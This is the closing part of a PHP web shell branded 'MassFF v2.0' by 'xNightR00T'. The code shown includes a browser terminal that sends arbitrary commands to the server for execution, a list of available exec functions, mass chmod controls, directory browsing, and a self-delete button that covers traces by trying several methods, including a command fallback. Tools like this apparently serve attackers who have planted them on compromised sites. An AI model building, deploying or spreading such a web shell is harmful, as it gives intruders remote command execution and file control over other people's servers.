                    <label class="check-row"><input type="checkbox" name="files_only" value="1" onchange="if(this.checked)this.form.querySelector('[name=dirs_only]').checked=false"> Files Only</label>
                    <label class="check-row"><input type="checkbox" name="dirs_only" value="1" onchange="if(this.checked)this.form.querySelector('[name=files_only]').checked=false"> Folders Only</label>
                    <button type="submit" class="btn btn-amber">Chmod All</button>
                </form>
            </div>
        </div>

        <div class="card card-danger">
            <div class="card-title title-red"><span class="dot dot-red"></span> Delete Me?</div>
            <div class="sub-card">
                <div class="danger-hint">Permanently delete this tool from the server. Tries multiple methods including cmd fallback.</div>
                <form class="ajax-form" data-confirm="FINAL WARNING!\n\nDelete this tool permanently?\n\nThis action CANNOT be undone!">
                    <input type="hidden" name="action" value="self_delete">
                    <input type="hidden" name="confirm" value="yes">
                    <button type="submit" class="btn btn-danger"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="3 6 5 6 21 6"/><path d="M19 6v14a2 2 0 01-2 2H7a2 2 0 01-2-2V6m3 0V4a2 2 0 012-2h4a2 2 0 012 2v2"/><line x1="10" y1="11" x2="10" y2="17"/><line x1="14" y1="11" x2="14" y2="17"/></svg> Delete This File</button>
                </form>
                <div class="danger-path"><?php echo _h(__FILE__); ?></div>
            </div>
        </div>

    </div>

    <div class="log-panel fade-in" id="logPanel" style="<?php echo count($tool->getOutput()) > 0 ? '' : 'display:none'; ?>">
        <div class="log-title"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M16 4h2a2 2 0 012 2v14a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2h2"/><rect x="8" y="2" width="8" height="4" rx="1"/></svg> Output Log</div>
        <div class="log-body" id="logBody">
            <?php
            $logs = $tool->getOutput();
            for ($i = 0; $i < count($logs); $i++):
                $log = $logs[$i];
            ?>
                <div class="log-line" style="animation-delay: <?php echo ($i * 0.05); ?>s">
                    <span class="log-time">[<?php echo _h($log['time']); ?>]</span>
                    <span class="log-msg log-<?php echo _h($log['type']); ?>"><?php echo _h($log['message']); ?></span>
                </div>
            <?php endfor; ?>
        </div>
    </div>

    <div class="terminal-panel fade-in">
        <div class="terminal-title">
            <span class="terminal-title-left"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg> Terminal</span>
            <span class="terminal-info">
                Exec: <?php echo count($availExec) > 0 ? _h(implode(', ', $availExec)) : '<span style="color:var(--red)">NONE</span>'; ?>
            </span>
        </div>
        <div class="terminal-body" id="termBody">
            <div class="term-line term-output">MassFF Terminal v2.0</div>
            <div class="term-line term-output">Type commands below. Use &uarr;/&darr; for history.</div>
            <div class="term-line term-output">---</div>
        </div>
        <div class="terminal-input-wrap">
            <div class="terminal-prompt" id="termPrompt"><?php echo _h(basename($currentDir)); ?> $</div>
            <input type="text" class="terminal-input" id="termInput" placeholder="Enter command..." autocomplete="off" spellcheck="false">
        </div>
    </div>

    <div class="nav-panel fade-in">
        <div class="nav-title"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M22 19a2 2 0 01-2 2H4a2 2 0 01-2-2V5a2 2 0 012-2h5l2 3h9a2 2 0 012 2z"/></svg> Directory Navigation</div>
        <div class="nav-grid">
            <div>
                <div class="nav-section-title">Folders (<?php echo count($items['dirs']); ?>)</div>
                <div class="nav-list">
                    <?php if (count($items['dirs']) === 0): ?>
                        <div class="nav-empty">No folders</div>
                    <?php else: ?>
                        <?php for ($i = 0; $i < count($items['dirs']); $i++): $dir = $items['dirs'][$i]; ?>
                            <a href="?dir=<?php echo urlencode($dir['path']); ?>" class="nav-item">
                                <svg class="nav-item-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                                    <path d="M22 19a2 2 0 01-2 2H4a2 2 0 01-2-2V5a2 2 0 012-2h5l2 3h9a2 2 0 012 2z"/>
                                </svg>
                                <span class="nav-item-name"><?php echo _h($dir['name']); ?></span>
                                <span class="nav-item-meta"><?php echo _h($dir['perms']); ?></span>
                            </a>
                        <?php endfor; ?>
                    <?php endif; ?>
                </div>
            </div>
            <div>
                <div class="nav-section-title">Files (<?php echo count($items['files']); ?>)</div>
                <div class="nav-list">
                    <?php if (count($items['files']) === 0): ?>
                        <div class="nav-empty">No files</div>
                    <?php else: ?>
                        <?php for ($i = 0; $i < count($items['files']); $i++): $file = $items['files'][$i]; ?>
                            <div class="nav-item">
                                <svg class="nav-item-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                                    <path d="M14 2H6a2 2 0 00-2 2v16a2 2 0 002 2h12a2 2 0 002-2V8z"/>
                                    <polyline points="14 2 14 8 20 8"/>
                                </svg>
                                <span class="nav-item-name"><?php echo _h($file['name']); ?></span>
                                <span class="nav-item-meta"><?php echo formatSize($file['size']); ?></span>
                            </div>
                        <?php endfor; ?>
                    <?php endif; ?>
                </div>
            </div>
        </div>
    </div>

    <div class="footer">&copy; xNightR00T &mdash; MassFF v2.0</div>

</div>

<script>
(function() {
    var groups = document.querySelectorAll('.radio-group');
    for (var i = 0; i < groups.length; i++) {
        (function(group) {
            var labels = group.querySelectorAll('label');
            function update() {
                for (var j = 0; j < labels.length; j++) {
                    var radio = labels[j].querySelector('input[type="radio"]');
                    if (radio && radio.checked) {
                        labels[j].className = labels[j].className.replace(/ ?radio-active/g, '') + ' radio-active';
                    } else {
                        labels[j].className = labels[j].className.replace(/ ?radio-active/g, '');
                    }
                }
            }
            var radios = group.querySelectorAll('input[type="radio"]');
            for (var k = 0; k < radios.length; k++) {
                radios[k].onchange = update;
            }
            update();
        })(groups[i]);
    }

    var overlay = document.getElementById('loadingOverlay');
    function showLoading() { overlay.className = 'loading-overlay active'; }
    function hideLoading() { overlay.className = 'loading-overlay'; }

    var toastContainer = document.getElementById('toastContainer');
    function showToast(message, type) {
        if (!type) type = 'info';
        var toast = document.createElement('div');
        toast.className = 'toast toast-' + type;
        var iconSvg = '';
        if (type === 'success') {
            iconSvg = '<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg>';
        } else if (type === 'error') {
            iconSvg = '<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="15" y1="9" x2="9" y2="15"/><line x1="9" y1="9" x2="15" y2="15"/></svg>';
        } else {
            iconSvg = '<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="16" x2="12" y2="12"/><line x1="12" y1="8" x2="12.01" y2="8"/></svg>';
        }
        toast.innerHTML = iconSvg + '<span class="toast-text">' + message + '</span>';
        toastContainer.appendChild(toast);
        setTimeout(function() {
            toast.className += ' removing';
            setTimeout(function() {
                if (toast.parentNode) toast.parentNode.removeChild(toast);
            }, 300);
        }, 4000);
    }

    var btns = document.querySelectorAll('.btn, .btn-logout, .btn-parent');
    for (var i = 0; i < btns.length; i++) {
        btns[i].addEventListener('click', function(e) {
            var rect = this.getBoundingClientRect();
            var ripple = document.createElement('span');
            ripple.className = 'ripple';
            var size = Math.max(rect.width, rect.height);
            ripple.style.width = ripple.style.height = size + 'px';
            ripple.style.left = (e.clientX - rect.left - size / 2) + 'px';
            ripple.style.top = (e.clientY - rect.top - size / 2) + 'px';
            this.appendChild(ripple);
            setTimeout(function() { if (ripple.parentNode) ripple.parentNode.removeChild(ripple); }, 600);
        });
    }

    var logPanel = document.getElementById('logPanel');
    var logBody = document.getElementById('logBody');

    function clearLog() { logBody.innerHTML = ''; }

    function addLogLine(time, type, message, delay) {
        var div = document.createElement('div');
        div.className = 'log-line';
        div.style.animationDelay = (delay * 0.06) + 's';
        var timeSpan = document.createElement('span');
        timeSpan.className = 'log-time';
        timeSpan.appendChild(document.createTextNode('[' + time + ']'));
        var msgSpan = document.createElement('span');
        msgSpan.className = 'log-msg log-' + type;
        msgSpan.appendChild(document.createTextNode(message));
        div.appendChild(timeSpan);
        div.appendChild(msgSpan);
        logBody.appendChild(div);
        logBody.scrollTop = logBody.scrollHeight;
    }

    function renderLog(output) {
        clearLog();
        logPanel.style.display = '';
        for (var i = 0; i < output.length; i++) {
            addLogLine(output[i].time, output[i].type, output[i].message, i);
        }
        logPanel.scrollIntoView({ behavior: 'smooth', block: 'nearest' });
    }

    var forms = document.querySelectorAll('.ajax-form');
    for (var i = 0; i < forms.length; i++) {
        (function(form) {
            form.onsubmit = function(e) {
                e.preventDefault();
                var confirmMsg = form.getAttribute('data-confirm');
                if (confirmMsg && !confirm(confirmMsg)) return;
                showLoading();
                var data = new FormData(form);
                data.append('ajax', '1');

                // Preserve semua query params yang ada (dir, key, dll) kecuali logout
                var params = new URLSearchParams(window.location.search);
                params.delete('logout');
                var qs = params.toString();
                var url = window.location.pathname + (qs ? '?' + qs : '');

                var xhr = new XMLHttpRequest();
                xhr.open('POST', url, true);
                xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
                xhr.timeout = 120000;

                xhr.ontimeout = function() {
                    hideLoading();
                    showToast('Request timed out', 'error');
                };

                xhr.onreadystatechange = function() {
                    if (xhr.readyState === 4) {
                        hideLoading();

                        if (xhr.status === 0) {
                            showToast('Network error / no response', 'error');
                            return;
                        }
                        if (xhr.status >= 400) {
                            clearLog();
                            addLogLine(new Date().toTimeString().substr(0, 8), 'error', 'HTTP ' + xhr.status + ': ' + (xhr.responseText ? xhr.responseText.substring(0, 300) : 'No response'), 0);
                            logPanel.style.display = '';
                            showToast('Server error: HTTP ' + xhr.status, 'error');
                            return;
                        }

                        try {
                            var resp = JSON.parse(xhr.responseText);

                            if (resp.output && resp.output.length > 0) {
                                renderLog(resp.output);
                                var successCount = 0;
                                var errorCount = 0;
                                for (var k = 0; k < resp.output.length; k++) {
                                    if (resp.output[k].type === 'success') successCount++;
                                    if (resp.output[k].type === 'error') errorCount++;
                                }
                                if (errorCount > 0 && successCount > 0) {
                                    showToast(successCount + ' success, ' + errorCount + ' failed', 'error');
                                } else if (errorCount > 0) {
                                    showToast('Failed: ' + errorCount + ' error(s)', 'error');
                                } else if (successCount > 0) {
                                    showToast('Done: ' + successCount + ' success', 'success');
                                } else {
                                    showToast('Operation completed', 'info');
                                }
                            } else if (resp.success === true) {
                                clearLog();
                                var msg = resp.method
                                    ? 'File deleted via: ' + resp.method
                                    : 'Operation completed successfully.';
                                addLogLine(new Date().toTimeString().substr(0, 8), 'success', msg, 0);
                                logPanel.style.display = '';
                                showToast(msg, 'success');
                            } else if (resp.success === false) {
                                clearLog();
                                var failMsg = resp.method ? 'Failed: ' + resp.method : 'Operation failed.';
                                addLogLine(new Date().toTimeString().substr(0, 8), 'error', failMsg, 0);
                                logPanel.style.display = '';
                                showToast(failMsg, 'error');
                            } else {
                                showToast('Unexpected response', 'info');
                            }
                        } catch(ex) {
                            clearLog();
                            addLogLine(new Date().toTimeString().substr(0, 8), 'error', 'Parse error: ' + (xhr.responseText ? xhr.responseText.substring(0, 200) : 'No response'), 0);
                            logPanel.style.display = '';
                            showToast('Response parse failed', 'error');
                        }
                    }
                };
                xhr.send(data);
            };
        })(forms[i]);
    }

    var termBody = document.getElementById('termBody');
    var termInput = document.getElementById('termInput');
    var termPrompt = document.getElementById('termPrompt');
    var termHistory = [];
    var termHistoryIdx = -1;
    var termCwd = <?php echo json_encode($currentDir); ?>;

    function termAddLine(text, cls) {
        var div = document.createElement('div');
        div.className = 'term-line ' + cls;
        div.appendChild(document.createTextNode(text));
        termBody.appendChild(div);
        termBody.scrollTop = termBody.scrollHeight;
    }

    function termExec(cmd) {
        if (!cmd || !cmd.replace(/\s/g, '')) return;
        termAddLine(termPrompt.textContent + ' ' + cmd, 'term-cmd');

        if (cmd.replace(/\s/g, '') === 'clear') {
            termBody.innerHTML = '';
            return;
        }

        var data = new FormData();
        data.append('action', 'terminal_exec');
        data.append('cmd', cmd);
        data.append('cwd', termCwd);
        data.append('ajax', '1');

        var xhr = new XMLHttpRequest();
        xhr.open('POST', window.location.pathname, true);
        xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');

        var loadingLine = document.createElement('div');
        loadingLine.className = 'term-line term-output';
        loadingLine.innerHTML = '<span class="term-loading"><span class="term-spinner"></span> executing...</span>';
        termBody.appendChild(loadingLine);
        termBody.scrollTop = termBody.scrollHeight;

        xhr.onreadystatechange = function() {
            if (xhr.readyState === 4) {
                if (loadingLine.parentNode) loadingLine.parentNode.removeChild(loadingLine);
                try {
                    var resp = JSON.parse(xhr.responseText);
                    if (resp.output) {
                        var lines = resp.output.split('\n');
                        for (var i = 0; i < lines.length; i++) {
                            if (lines[i] !== '' || i < lines.length - 1) {
                                termAddLine(lines[i], 'term-output');
                            }
                        }
                    }
                    if (resp.cwd) {
                        termCwd = resp.cwd;
                        var parts = termCwd.split('/');
                        var base = parts[parts.length - 1] || termCwd;
                        termPrompt.textContent = base + ' $';
                    }
                } catch(ex) {
                    termAddLine('[Error] ' + (xhr.responseText || 'No response'), 'term-error');
                }
            }
        };
        xhr.send(data);
    }

    termInput.onkeydown = function(e) {
        if (e.keyCode === 13) {
            var cmd = termInput.value;
            if (cmd.replace(/\s/g, '') !== '') {
                termHistory.push(cmd);
                termHistoryIdx = termHistory.length;
            }
            termInput.value = '';
            termExec(cmd);
        } else if (e.keyCode === 38) {
            e.preventDefault();
            if (termHistoryIdx > 0) {
                termHistoryIdx--;
                termInput.value = termHistory[termHistoryIdx];
            }
        } else if (e.keyCode === 40) {
            e.preventDefault();
            if (termHistoryIdx < termHistory.length - 1) {
                termHistoryIdx++;
                termInput.value = termHistory[termHistoryIdx];
            } else {
                termHistoryIdx = termHistory.length;
                termInput.value = '';
            }
        }
    };

    termBody.onclick = function() { termInput.focus(); };

})();
</script>

</body>
</html>